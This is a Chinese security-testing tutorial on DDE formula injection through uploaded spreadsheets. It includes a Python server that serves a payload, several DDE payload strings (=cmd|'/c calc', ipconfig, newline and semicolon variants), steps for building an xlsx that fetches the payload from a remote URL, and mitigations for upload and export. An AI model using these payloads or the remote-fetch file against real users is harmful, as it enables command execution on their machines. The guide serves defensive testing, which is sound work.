【安全】【测试思路】文件上传下载之绕过上传时内容校验的DDE注入攻击

【安全】【测试思路】文件上传下载之基于bypass的DDE注入攻击

  • DDE注入介绍
  • 测试流程图
  • 测试步骤
    • 服务器搭建
      • 参考代码
      • 攻击脚本参考
      • 脚本启动
      • 服务器访问效果
    • 上传文件准备
    • 执行攻击
  • 规避方案

DDE注入介绍

  DDE(Dynamic Data Exchange,动态数据交换)是应用之间传输数据的一种方法。Excel可以使用这种机制,根据外部应用的处理结果来更新单元格的内容。因此,如果我们制作包含(恶意)DDE公式的xlsx/csv文件,那么在打开该文件时,Excel就会尝试执行外部应用,以达到攻击的目的。

测试流程图

  1. 攻击者搭建一个ftp服务器,当有人访问指定的URL地址时,固定返回DDE注入命令。
  2. 制作一个可以读取ftp服务器的xls/xlsx文件,并上传到系统软件中。
  3. 用户在不知情的情况下,下载xls/xlsx文件。
  4. 用户双击打开后,文件中的某个单元格自动访问URL地址,获取到DDE注入命令后,触发命令的执行。

【安全】【测试思路】文件上传下载之绕过上传时内容校验的DDE注入攻击_第1张图片

测试步骤

服务器搭建

参考代码

  在这里,咱们可以使用python搭建一个http服务器,用于发送攻击脚本。参考代码如下,其中的端口号和DDE注入命令可根据需要进行设置。

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
"""=================================================
@Author :Fantasy_Boyce
@Date   :2020-07-25 23:08
@Desc   :
=================================================="""
from http.server import BaseHTTPRequestHandler, HTTPServer


class MyHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        try:
            self.send_response(200)
            self.send_header('Content-type', 'text/html')
            self.end_headers()
            self.wfile.write(b"=cmd|'/c calc' !A0") # DDE注入脚本内容
        except IOError as e:
            self.send_error(404, e)


def main():
    global myserver
    try:
        myserver = HTTPServer(('', 8001), MyHandler)
        myserver.serve_forever()
    except KeyboardInterrupt:
        myserver.socket.close()


if __name__ == '__main__':
    print('starting http server...')
    main()

攻击脚本参考

=cmd|'/c calc' !A0			# 打开计算器
=cmd|'/k ipconfig' !A0		# 打开cmd,查看系统IP地址
%0A-3+3+cmd|'/C calc' !A0	# 当%0A被解析时,后面的内容将会填入下一行,并且打开计算器
;-3+3+cmd|'/C calc' !A0		# 当导出为csv文件时,则可使用分号分隔,分号后面的命令将被执行 

脚本启动

python3 ftpserver.py

服务器访问效果

  通过浏览器访问http://{服务器IP}:8001,可看到界面直接返回显示了DDE注入命令内容,表示服务器可正常访问。
【安全】【测试思路】文件上传下载之绕过上传时内容校验的DDE注入攻击_第2张图片

上传文件准备

  1. 新建一个xlsx文件,点击任意单元格,切换到数据标签页,点击自网站,在弹出的对话框中,输入http服务器的URL地址,点击确定。
    【安全】【测试思路】文件上传下载之绕过上传时内容校验的DDE注入攻击_第3张图片

  2. 点击【导入】按钮,在新的对话框中,点击属性,勾选如下红框中的两项,点击【确定】按钮,并保存excel文件,一个包含隐形dde注入的文件就做好了。
    【安全】【测试思路】文件上传下载之绕过上传时内容校验的DDE注入攻击_第4张图片

执行攻击

  1. 下面咱们来验证一下,假设另外一个用户下载了这个文件,并双击打开了,页面提示远程数据不可访问时,点击"是",可看到系统自动打开了计算器,说明命令被成功执行。
    【安全】【测试思路】文件上传下载之绕过上传时内容校验的DDE注入攻击_第5张图片
  2. 再切换到http服务器上,http服务器接收到了一条get请求,返回状态码200。
    【安全】【测试思路】文件上传下载之绕过上传时内容校验的DDE注入攻击_第6张图片

规避方案

  1. 在文件上传时,读取文件,避免用户输入-、+、=等包含计算公式及危险命令的内容。

    可能会影响单元格包含计算公式的文件上传,对用户造成困扰。

  2. 在文件导出时,自动在单元格内容之前加入单引号,打破DDE注入命令的格式。

    加入单引号后,可能会改变原单元格中的数据内容。

  3. 在文件导出时,自动在单元格内容之前加入一个空格,打破DDE注入命令的格式。

    一般不会改变原单元格的内容,当系统以空格作为数据分隔符时,导出文件内容排版会有影响。

你可能感兴趣的:(安全测试)